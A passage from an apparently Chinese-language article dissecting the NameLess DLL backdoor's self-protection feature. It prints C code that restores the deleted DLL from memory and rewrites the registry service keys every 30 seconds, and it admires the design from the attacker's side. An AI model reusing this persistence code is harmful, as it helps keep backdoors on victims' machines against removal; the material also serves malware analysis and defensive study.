NameLess的大名都应该听说过吧,估计还有相当多的人用过呢,个人认为这个后门非常经典,我们再来简单看一下有关它的介绍:仅有一个DLL文件,平时不开端口,可以进行反向连接的后门程序。
四、自身保护
作为一个后门,你不能假设肉鸡永远不会发现你,因此具有一定的自我保护能力是必须的,否则说不定随便一个新入门的菜鸟用任务管理器就能把你Kill了还会咧着嘴鄙视你:小样儿,就这水平还想出来混?
NameLess在连接上后可以通过输入命令Shield来启动保护功能,UnShield来停止,我们来看下Shield的实现方法,根据ExeCommand函数的提示很快找到了代码实现函数SetShieldStatus(位于./Command/Shield.h文件中),此函数很短,很清楚地看到它是通过创建一个ShieldThread线程来实现自我保护的,停止的话就是把这个线程给TerminateThread掉。我们来详细看下ShieldThread函数是如何实现自我保护的。
ShieldFlag = 1;
strncpy(ProtectKey1,SubRoot,sizeof(ProtectKey1));
strncat(ProtectKey1,ServerCFG.ServiceName,sizeof(ProtectKey1));
strncpy(ProtectKey2,ProtectKey1,sizeof(ProtectKey2));
strncat(ProtectKey2,"\\Parameters",sizeof(ProtectKey2));
GetModuleFileName(HMODULE(hDll), DllFilePath,MAX_PATH);
hDllFile = CreateFile(DllFilePath,GENERIC_READ,0,0,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,0);
SizeDll = GetFileSize(hDllFile,0);
MemDll = VirtualAlloc(0,SizeDll,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
ReadFile(hDllFile,MemDll,SizeDll,&BytesRead,0);
CloseHandle(hDllFile);
while(1)
{
hSearch =FindFirstFile(DllFilePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
hDllFile = CreateFile(DllFilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hDllFile,MemDll,SizeDll,&BytesRead,0);
CloseHandle(hDllFile);
}
FindClose(hSearch);
WriteRegEx(HKEY_LOCAL_MACHINE,ProtectKey1,"Start",REG_DWORD,NULL,2,1);
WriteRegEx(HKEY_LOCAL_MACHINE,ProtectKey2,"ServiceDll",REG_EXPAND_SZ,
DllFilePath,NULL,0);
Sleep(30000);
就不一句句分析了,大体流程是:取得DLL路径名->读方式打开->获取文件大小->申请一块同样大小的内存->将文件内容读取到该块内存中->循环每30秒进行一次以下工作->查找该DLL是否存在->不存在则创建并将以上分配的内存块中数据写入该文件->将保护键值写入到注册表。
这种方法似乎有很多问题,因为它似乎并不是采用常用的双进程或在某个常驻系统进程中创建一个远线程,这样如果当DLL文件被删除、注册表被修改后马上将Rundll32进程结束掉就可能永远没办法“复活了”。
五、总结
通过以上的简单分析,我们可以看出这款后门在技术上其实并没有很多创新的地方,但它的经典之处在于考虑问题非常全面,并使用了一些不常见的思路,尽最大努力做到了稳定。这样的编程思路对于我们的学习非常值得借鉴,呵呵;另外值得一提的是这份工程代码非常规范,比如把读写注册表的操作封装到自定义的函数中这点就值得我们借鉴。